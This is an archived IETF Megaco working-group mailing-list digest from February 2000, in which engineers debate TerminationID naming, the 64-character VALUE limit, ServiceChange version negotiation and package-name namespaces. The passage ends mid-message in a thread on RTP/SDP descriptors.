--------------5166A07A0C3418D65275CFFB Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
I think name standardization of TerminationIDs is something we should purse.
It will eliminate confusion and lay the ground for wider cross-vendor
interoperability.

Abdallah Rayhan

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

We have avoided standardizing termination IDs.  A couple of people have suggested that their gateways will have a hardcoded terminationID format, but this should be vendor-specific: configurations will vary between vendors.  If we really want to get into standardization of naming, I know a bunch of M- and G-series ITU-T Recommendations which will provide a starting point on the digital facility side.  Bottom line: above the MG you should assume that termination IDs will be arbitrary collections of characters.

The SG (Signalling Gateway), if involved in the call, needs a table mapping between {OPC,DPC,CIC} and MGC.  The MGC needs a table mapping between {OPC,DPC,CIC} and {MG,terminationID}.  The MGC also needs routing tables on the TDM side to map from routes to the {MG,terminationID} pairs that make up those routes.

    -----Original Message-----
    From:   Singaravelan Singaraselvan [SMTP:Singaravelan_Singaraselvan@MW.3COM.COM]
    Sent:   Wednesday, February 02, 2000 12:41 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        How does a TerminationID look like

    Hi all,

      I would like to know, an example for a Termination Id when the input is a T1
    Trunk.

      Because we need to map the ISUP data namely OPC, DPC and CIC to a Termination
    ID.

      Thanks,
      Singar/..

--------------5166A07A0C3418D65275CFFB-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:07:25 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19931 for ; Thu, 3 Feb 2000 10:07:24 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.15725A70@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:04:39 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20941 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:03:30 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EC0A39A0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:03:30 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 09:05:14 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Thu, 3 Feb 2000 10:04:51 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1FX05C40; Thu, 3 Feb 2000 10:04:51 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXAJARX; Thu, 3 Feb 2000 10:04:52 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: multipart/alternative; boundary="------------E7DC075ABD4F2F6CD95F03E4" Message-ID: <3899997D.BDD05901@americasm01.nt.com> Date: Thu, 3 Feb 2000 10:06:37 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: maximum size of a VALUE X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------E7DC075ABD4F2F6CD95F03E4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Not too fast. I believe couple of the issues were considered when 64 was decided; efficiency and security. We dont have max msg size restriction. A user could cause buffering flooding intentionally if VALUE is huge, not to mention parsing a msg with huge VALUEs. This could reduce the efficiency dramatically. Also, what if VALUE is used to pass malicious code through a firewall. If VALUE is unlimited, we could be jeopardizing security. If 64 is too small we could increase it to 128 or 256 but not unlimited. Abdallah Rayhan "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote: > > > Looks like a good one for "errata". > > -----Original Message----- > From: Steven Magnell [SMTP:magnells@DIALOGIC.COM] > Sent: Wednesday, February 02, 2000 7:20 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: maximum size of a VALUE > > This may be minor compared to other issues, but it seems that the > maximum > size of a VALUE is 64 characters (not including quotes) in the > ABNF syntax. > It should be larger, perhaps arbitrary. The ASN.1 definition of > Value does > not have this limitation. > > While this does not seem to be a concern with the basic packages, > looking > ahead to upcoming packages such as the display and text telephone > packages > in the otherpkgs draft and the cromwell ARF draft, there is a > need to > support longer strings. The text telephone package, for example, > defines > string parameters with a maximum of 256 characters and the others > have > strings of arbitrary length where some larger string, such as a > display or > text-to-speech announcement, would certainly be reasonable. > > steve magnell > --------------E7DC075ABD4F2F6CD95F03E4 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
Not too fast. I believe couple of the issues were considered when 64 was
decided; efficiency and security. We dont have max msg size restriction. A
user could cause buffering flooding intentionally if VALUE is huge, not to
mention parsing a msg with huge VALUEs. This could reduce the efficiency
dramatically. Also, what if VALUE is used to pass malicious code through
a firewall. If VALUE is unlimited, we could be jeopardizing security. If 64 is
too small we could increase it to 128 or 256 but not unlimited.

Abdallah Rayhan

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

Looks like a good one for "errata".

    -----Original Message-----
    From:   Steven Magnell [SMTP:magnells@DIALOGIC.COM]
    Sent:   Wednesday, February 02, 2000 7:20 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        maximum size of a VALUE

    This may be minor compared to other issues, but it seems that the maximum
    size of a VALUE is 64 characters (not including quotes) in the ABNF syntax.
    It should be larger, perhaps arbitrary. The ASN.1 definition of Value does
    not have this limitation.

    While this does not seem to be a concern with the basic packages, looking
    ahead to upcoming packages such as the display and text telephone packages
    in the otherpkgs draft and the cromwell ARF draft, there is a need to
    support longer strings. The text telephone package, for example, defines
    string parameters with a maximum of 256 characters and the others have
    strings of arbitrary length where some larger string, such as a display or
    text-to-speech announcement, would certainly be reasonable.

    steve magnell

--------------E7DC075ABD4F2F6CD95F03E4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:09:49 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19997 for ; Thu, 3 Feb 2000 10:09:48 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5D404FB0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:06:40 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20937 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:04:48 -0500 Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B5196520@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:54:48 -0500 Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id PAA24175; Thu, 3 Feb 2000 15:56:45 +0100 (MET) Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id PAA15433; Thu, 3 Feb 2000 15:56:45 +0100 Received: from ericsson.com (kipe149.eraj.ericsson.se [147.214.68.149]) by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id PAA15345; Thu, 3 Feb 2000 15:56:44 +0100 (MET) X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3899972F.5E325731@ericsson.com> Date: Thu, 3 Feb 2000 15:56:47 +0100 Reply-To: Christian Groves Sender: "Media Gateway Control (megaco)" From: Christian Groves Subject: Re: Profile and version in ServiceChange Descriptor X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit G'Day Tom, Yes I agree v1 ServiceChange can be expanded but is there any point if in the future you'll always send a v1 ServiceChange. You should optimise a protocol for the most common case, that is where the MGC and MG will have the same versions. Therefore send the highest version you support. Cheers, Christian Tom-PT Taylor wrote: > > v1 ServiceChange already has room for expansion -- the extension capability is explicit. > > -----Original Message----- > From: Christian Groves [SMTP:Christian.Groves@ERICSSON.COM] > Sent: Thursday, February 03, 2000 9:20 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Profile and version in ServiceChange Descriptor > > I don't think this is practical always using the v1 format. We may want > to in the future add new features to the initial startup serviceChange > action. With this limitation it means that we can't add these new > features. > > Cheers, Christian > > Tom-PT Taylor wrote: > > > > I like your approach of requiring initial registration to always use > > v1 format. Let's see what others say. > > > > -----Original Message----- > > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > > Sent: Wednesday, February 02, 2000 12:33 PM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Re: Profile and version in ServiceChange > > Descriptor > > > > Can we just negotiate version at the message header level instead > > of going into transaction > > and serviceChange? > > > > IF MGC does not support the version specified in the message > > header, it will return an > > error to MG. MG can start backing off the version # until it > > finds one that the MGC would > > accept. > > > > The example seems to be implying that the first message is always > > encoded in v1 and > > version negotiation is done with serviceChange messages. If so, > > the Standard should clearly > > state this in section 11.3. > > > > Otherwise, in the example if MG started w/ v3, it would get an > > error at the message level. > > Then MG has to start backing off the version # until MGC accept > > it. So we are back to doing > > some kind of message level version negotiation. > > > > Chuong > > > > Abdallah Rayhan wrote: > > > > The objective of message versioning is different from > > protocol versioning > > in service change. Messaging versioning is for efficient > > parsing and > > processing of the message as well as debugging. While > > protocol versioning > > in servicechane is for changing the protocol version without > > resorting to > > error messages. > > > > For example, > > 1- > > ; msg encoded in V1, servicechange version is 2 > > ; both MG and MGC understand V1 > > MG -------> MGC > > > > 2- > > ; msg is still encoded in V1, > > ; MGC rejects service change version, MGC does not support > > V2 > > ; MG realizes that it can not upgrade its communication with > > MGC > > MG <------- MGC > > > > 3- MG decides whether it wants to continue communication > > with > > MGC in V1 or halt. > > > > Another scenario would be that MGC supports V2 as well V1, > > so it > > accepts service change to V2. MG encodes its msgs using V2 > > syntax > > as well as MGC. The last two steps of the above scenario > > would be, > > 2- > > ; msg is still encoded in V1, > > ; MGC accepts service change version, MGC supports V2 > > ; MG realizes that it can upgrade its communication with MGC > > MG <------- MGC > > > > 3- > > ; msg is encoded in V2, > > MG -------> MGC > > > > Abdallah Rayhan > > > > Harpreet Singh Anand wrote: > > > > > Hello, > > > > > > > The Profile field conatins a version and a version field > > is also included > > > > seperately in ServiceChange > > > > Descriptor. Are they different, or this is redundant > > information ? > > > > > > The version in the profile field specifies the version of > > the profile being > > > supported by the gateway. It is different from the version > > field which specifies > > > the version of the MEGACO protocol. > > > > > > Quote from section 7.2.8: > > > > > > " The optional Profile parameter specifies the Profile (if > > any) of the > > > protocol supported. The Profile includes the version of > > the profile > > > supported. > > > > > > The optional Version parameter contains the protocol > > version and is used > > > if protocol version negotiation occurs (see section 11.3). > > " > > > > > > A related question: What is the need of adding version > > field in > > > ServiceChangeDescriptor when the same information is there > > in the first line of > > > the message ? > > > > > > Regards, > > > Harpreet > > > > > > _________________________________ > > > Harpreet Singh Anand > > > Ficon Technology > > > E-mail : > > > Web : > > > > -- > > Alcatel USA, Inc Internet: > > Chuong.Nguyen@usa.alcatel.com > > 1000 Coit Road Plano, Texas 75075 Phone: (972) > > 519-4613 > > **** The opinions expressed are not those of Alcatel USA, Inc > > **** > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:30:51 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20553 for ; Thu, 3 Feb 2000 10:30:50 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.096DD8F0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:25:48 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20999 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:25:27 -0500 Received: from fw3.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.971B72E0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:15:26 -0500 Received: (from uucp@localhost) by fw3.dsccc.com (8.8.8+Sun/8.8.8) id JAA02182 for ; Thu, 3 Feb 2000 09:17:16 -0600 (CST) Received: from relay1.dsccc.com(10.17.102.29) by fw3 via smap (V2.0) id xma002101; Thu, 3 Feb 00 09:16:08 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id JAA02689 for ; Thu, 3 Feb 2000 09:16:05 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAC6588 for ; Thu, 3 Feb 2000 09:16:03 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id JAA06706 for ; Thu, 3 Feb 2000 09:15:52 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id JAA21276 for ; Thu, 3 Feb 2000 09:15:51 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <38998E7B.17BDBBDC@ericsson.com> Content-Type: multipart/alternative; boundary="------------469A7A8B66DC889ED2FD95EA" Message-ID: <38999BA7.D9C9858E@usa.alcatel.com> Date: Thu, 3 Feb 2000 09:15:51 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: Re: Profile and version in ServiceChange Descriptor To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------469A7A8B66DC889ED2FD95EA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom I was only trying to get some pro and con on message level version negotiation versus serviceChange version level negotiation. My point is with message level version negotiation, one does not have to dig into the command level to figure out what version is needed/requested. In order to dig into the command level, one would have to use the correct version parser which could be a nightmare. I think it avoids the scenario that Christian mentions below. Hopefully the message header is always the same regardless of how many Megaco versions there are. From Christina's point: If you have new features thus new version and somehow does not recognize v1 anymore, then there is no backward compatibility. By the way I do not see backward compatibility as a requirement. If there is no requirement why even bother with version negotiation especially serviceChange version level negotiation. Section 11.3 only describes how to implement version negotiation. It did not said that MGC shall support a lower version. "..., if the MGC supports only a lower version ..." "If the MGC supports a higher version than the MG but is able to support the lower version ..." Chuong Christian Groves wrote: > I don't think this is practical always using the v1 format. We may want > to in the future add new features to the initial startup serviceChange > action. With this limitation it means that we can't add these new > features. > > Cheers, Christian > > Tom-PT Taylor wrote: > > > > I like your approach of requiring initial registration to always use > > v1 format. Let's see what others say. > > > > -----Original Message----- > > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > > Sent: Wednesday, February 02, 2000 12:33 PM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Re: Profile and version in ServiceChange > > Descriptor > > > > Can we just negotiate version at the message header level instead > > of going into transaction > > and serviceChange? > > > > IF MGC does not support the version specified in the message > > header, it will return an > > error to MG. MG can start backing off the version # until it > > finds one that the MGC would > > accept. > > > > The example seems to be implying that the first message is always > > encoded in v1 and > > version negotiation is done with serviceChange messages. If so, > > the Standard should clearly > > state this in section 11.3. > > > > Otherwise, in the example if MG started w/ v3, it would get an > > error at the message level. > > Then MG has to start backing off the version # until MGC accept > > it. So we are back to doing > > some kind of message level version negotiation. > > > > Chuong > > > > Abdallah Rayhan wrote: > > > > The objective of message versioning is different from > > protocol versioning > > in service change. Messaging versioning is for efficient > > parsing and > > processing of the message as well as debugging. While > > protocol versioning > > in servicechane is for changing the protocol version without > > resorting to > > error messages. > > > > For example, > > 1- > > ; msg encoded in V1, servicechange version is 2 > > ; both MG and MGC understand V1 > > MG -------> MGC > > > > 2- > > ; msg is still encoded in V1, > > ; MGC rejects service change version, MGC does not support > > V2 > > ; MG realizes that it can not upgrade its communication with > > MGC > > MG <------- MGC > > > > 3- MG decides whether it wants to continue communication > > with > > MGC in V1 or halt. > > > > Another scenario would be that MGC supports V2 as well V1, > > so it > > accepts service change to V2. MG encodes its msgs using V2 > > syntax > > as well as MGC. The last two steps of the above scenario > > would be, > > 2- > > ; msg is still encoded in V1, > > ; MGC accepts service change version, MGC supports V2 > > ; MG realizes that it can upgrade its communication with MGC > > MG <------- MGC > > > > 3- > > ; msg is encoded in V2, > > MG -------> MGC > > > > Abdallah Rayhan > > > > Harpreet Singh Anand wrote: > > > > > Hello, > > > > > > > The Profile field conatins a version and a version field > > is also included > > > > seperately in ServiceChange > > > > Descriptor. Are they different, or this is redundant > > information ? > > > > > > The version in the profile field specifies the version of > > the profile being > > > supported by the gateway. It is different from the version > > field which specifies > > > the version of the MEGACO protocol. > > > > > > Quote from section 7.2.8: > > > > > > " The optional Profile parameter specifies the Profile (if > > any) of the > > > protocol supported. The Profile includes the version of > > the profile > > > supported. > > > > > > The optional Version parameter contains the protocol > > version and is used > > > if protocol version negotiation occurs (see section 11.3). > > " > > > > > > A related question: What is the need of adding version > > field in > > > ServiceChangeDescriptor when the same information is there > > in the first line of > > > the message ? > > > > > > Regards, > > > Harpreet > > > > > > _________________________________ > > > Harpreet Singh Anand > > > Ficon Technology > > > E-mail : > > > Web : > > > > -- > > Alcatel USA, Inc Internet: > > Chuong.Nguyen@usa.alcatel.com > > 1000 Coit Road Plano, Texas 75075 Phone: (972) > > 519-4613 > > **** The opinions expressed are not those of Alcatel USA, Inc > > **** > > -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------469A7A8B66DC889ED2FD95EA Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Tom
I was only trying to get some pro and con on message level version negotiation versus
serviceChange version level negotiation.
 

My point is with message level version negotiation, one does not have to dig into the command
level to figure out what version is needed/requested.  In order to dig into the command level, one
would have to use the correct version parser which could be a nightmare.
I think it avoids the scenario that Christian mentions below.

Hopefully the message header is always the same regardless of how many Megaco versions there
are.

From Christina's point:
If you have new features thus new version and somehow does not recognize v1 anymore,
then there is no backward compatibility.

By the way I do not see backward compatibility as a requirement.  If there is no requirement
why even bother with version negotiation especially serviceChange version level negotiation.
 Section 11.3 only describes how to implement version negotiation.
It did not said that MGC shall support a lower version.
"..., if the MGC supports only a lower version ..."
"If the MGC supports a higher version than the MG but is able to support the lower version ..."
 
 
 

Chuong

Christian Groves wrote:

I don't think this is practical always using the v1 format. We may want
to in the future add new features to the initial startup serviceChange
action. With this limitation it means that we can't add these new
features.

Cheers, Christian

Tom-PT Taylor wrote:
>
> I like your approach of requiring initial registration to always use
> v1 format.  Let's see what others say.
>
>      -----Original Message-----
>      From:   Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
>      Sent:   Wednesday, February 02, 2000 12:33 PM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Profile and version in ServiceChange
>      Descriptor
>
>      Can we just negotiate version at the message header level instead
>      of going into transaction
>      and serviceChange?
>
>      IF MGC does not support the version specified in the message
>      header, it will return an
>      error to MG.  MG can start backing off the version # until it
>      finds one that the MGC would
>      accept.
>
>      The example seems to be implying that the first message is always
>      encoded in v1 and
>      version negotiation is done with serviceChange messages.  If so,
>      the Standard should clearly
>      state this in section 11.3.
>
>      Otherwise, in the example if MG started w/ v3, it would get an
>      error at the message level.
>      Then MG has to start backing off the version # until MGC accept
>      it.  So we are back to doing
>      some kind of message level version negotiation.
>
>      Chuong
>
>      Abdallah Rayhan wrote:
>
>           The objective of message versioning is different from
>           protocol versioning
>           in service change. Messaging versioning is for efficient
>           parsing and
>           processing of the message as well as debugging. While
>           protocol versioning
>           in servicechane is for changing the protocol version without
>           resorting to
>           error messages.
>
>           For example,
>           1-
>           ; msg encoded in V1, servicechange version is 2
>           ; both MG and MGC understand V1
>           MG -------> MGC
>
>           2-
>           ; msg is still encoded in V1,
>           ; MGC rejects service change version, MGC does not support
>           V2
>           ; MG realizes that it can not upgrade its communication with
>           MGC
>           MG <------- MGC
>
>           3- MG decides whether it wants to continue communication
>           with
>           MGC in V1 or halt.
>
>           Another scenario would be that MGC supports V2 as well V1,
>           so it
>           accepts service change to V2. MG encodes its msgs using V2
>           syntax
>           as well as MGC. The last two steps of the above scenario
>           would be,
>           2-
>           ; msg is still encoded in V1,
>           ; MGC accepts service change version, MGC supports V2
>           ; MG realizes that it can upgrade its communication with MGC
>           MG <------- MGC
>
>           3-
>           ; msg is encoded in V2,
>           MG -------> MGC
>
>           Abdallah Rayhan
>
>           Harpreet Singh Anand wrote:
>
>           > Hello,
>           >
>           > > The Profile field conatins a version and a version field
>           is also included
>           > > seperately in ServiceChange
>           > > Descriptor. Are they different, or this is redundant
>           information ?
>           >
>           > The version in the profile field specifies the version of
>           the profile being
>           > supported by the gateway. It is different from the version
>           field which specifies
>           > the version of the MEGACO protocol.
>           >
>           > Quote from section 7.2.8:
>           >
>           > " The optional Profile parameter specifies the Profile (if
>           any) of the
>           > protocol supported.  The Profile includes the version of
>           the profile
>           > supported.
>           >
>           > The optional Version parameter contains the protocol
>           version and is used
>           > if protocol version negotiation occurs (see section 11.3).
>           "
>           >
>           > A related question: What is the need of adding version
>           field in
>           > ServiceChangeDescriptor when the same information is there
>           in the first line of
>           > the message ?
>           >
>           > Regards,
>           > Harpreet
>           >
>           > _________________________________
>           > Harpreet Singh Anand
>           > Ficon Technology
>           > E-mail :  <mailto:hsanand@ficon-tech.com>
>           > Web    :  <http://www.ficon-tech.com>
>
>      --
>        Alcatel USA, Inc             Internet:
>      Chuong.Nguyen@usa.alcatel.com
>        1000 Coit Road Plano, Texas 75075           Phone:    (972)
>      519-4613
>        **** The opinions expressed are not those of Alcatel USA, Inc
>      ****
>

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
  --------------469A7A8B66DC889ED2FD95EA-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:40:37 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20756 for ; Thu, 3 Feb 2000 10:40:35 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BAE76410@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:37:55 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21118 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:36:24 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.848D34D0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:36:24 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 09:38:16 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Thu, 3 Feb 2000 10:38:01 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1FX052Q0; Thu, 3 Feb 2000 10:38:00 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXAJAYY; Thu, 3 Feb 2000 10:38:01 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <4FBEA8857476D311A03300204840E1CF1A0D42@whq-msgusr-02.fore.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3899A142.C294E076@americasm01.nt.com> Date: Thu, 3 Feb 2000 10:39:46 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: Text PackageIDs X-To: "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit This point what a source of confusion when packageNames were optional but now they are not. At then we didn't want to confuse events and properties with tokens, e.g., events and properties have local scope in the packages they are defined in. I thought that this is a good strategy however packageNames were an issue. We decided in Wash that PackageNames can not be tokens and they are not optional. As far as I am concerned, this resolved the issue. If the text does not reflect this consensus, then it should. TerminationIDs and packages, that is another issue. How come we didnt think of it before ? Let us see! Terminations are variables, events are variables too but have different scope since they are defined in packages. So, if package/event matches a termination name, it would be impractical to enforce a rule that prevents this from happening. However, in a BCP draft we could report these uses as discouraged. Abdallah Rayhan "Rosen, Brian" wrote: > Hold on a minute. There were two subthreads to this thread, one of which > ended > with Christian agreeing with me that package names should not overlap > protocol tokens > while the other subthread had you worrying that we would run out of > abbreviations > if we restricted name spaces. > > It is clear that the grammar allows us to have an entirely separate > namespace for > package names, as the slash is a delimiter which allows the parser to > disambiguate > a package name from a protocol token. I don't like the idea of a package > named > KA, as in KeepActive so that you could say Signals=123{ka/ka{ka}}, but at > least > it's unambiguous. Could we not disallow a package name overlapping with > protocol > tokens? > > In thinking through this, I wonder about overlap of termination names with > package names; the grammar could conceivably get confused, although I can't > spot a case > where a terminationID and a package item with the same name could be > confused by > other than the poor humans, as in > Modify=ka/ka{lc{ka/ka=0},Events=123{ka/ka{ka/ka,ka},Signals{ka/ka{ka/ka}}} > Looks like caca to me :) > > Maybe this is another of those IETF things where the sender shouldn't do it, > but the receiver should allow it. > > Brian > > > -----Original Message----- > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] > > Sent: Wednesday, February 02, 2000 2:43 PM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Text PackageIDs > > > > > > Section 12.1.1 contains the statement that the text encoding > > of a package > > identifier must not be a keyword in the base protocol. This > > contradicts the > > conclusion of the thread "Megaco Reserved Names", 2-3 Nov > > 1999. I will > > record this one as an "error". > > > > Tom Taylor > > Advisor -- Emerging Carrier IP Standards > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > Phone and FAX: +1 613 736 0961 > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:44:45 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20833 for ; Thu, 3 Feb 2000 10:44:43 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4B829620@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:41:57 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21088 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:40:33 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B36C5F20@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:30:33 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id KAA21922; Thu, 3 Feb 2000 10:32:33 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id KAA20621; Thu, 3 Feb 2000 10:32:35 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Feb 2000 10:29:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF20886E@whq-msgusr-02.fore.com> Date: Thu, 3 Feb 2000 10:32:32 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: RTP/SDP descriptor strings X-To: Charles Eckel , "mahubbard@nortelnetworks.com" , "rkumar@cisco.com" , "taylor@nortelnetworks.com" , "pmouchta@telcordia.com" , "jsegers@lucent.com" X-cc: isc_tac@inventures.com, "msf-media@msforum.org" , "isc_MGCP@inventures.com" To: MEGACO@STANDARDS.NORTELNETWORKS.COM Curiously, I was just at an MSF meeting where the same thing was discussed. Here are the facts: A while ago, the MSF sent a message (liaison) to the IETF Megaco with a set of tables that defined all the parameters to create an ATM AAL1, AAL2 and AAL5 VC. It also suggested a way to make these 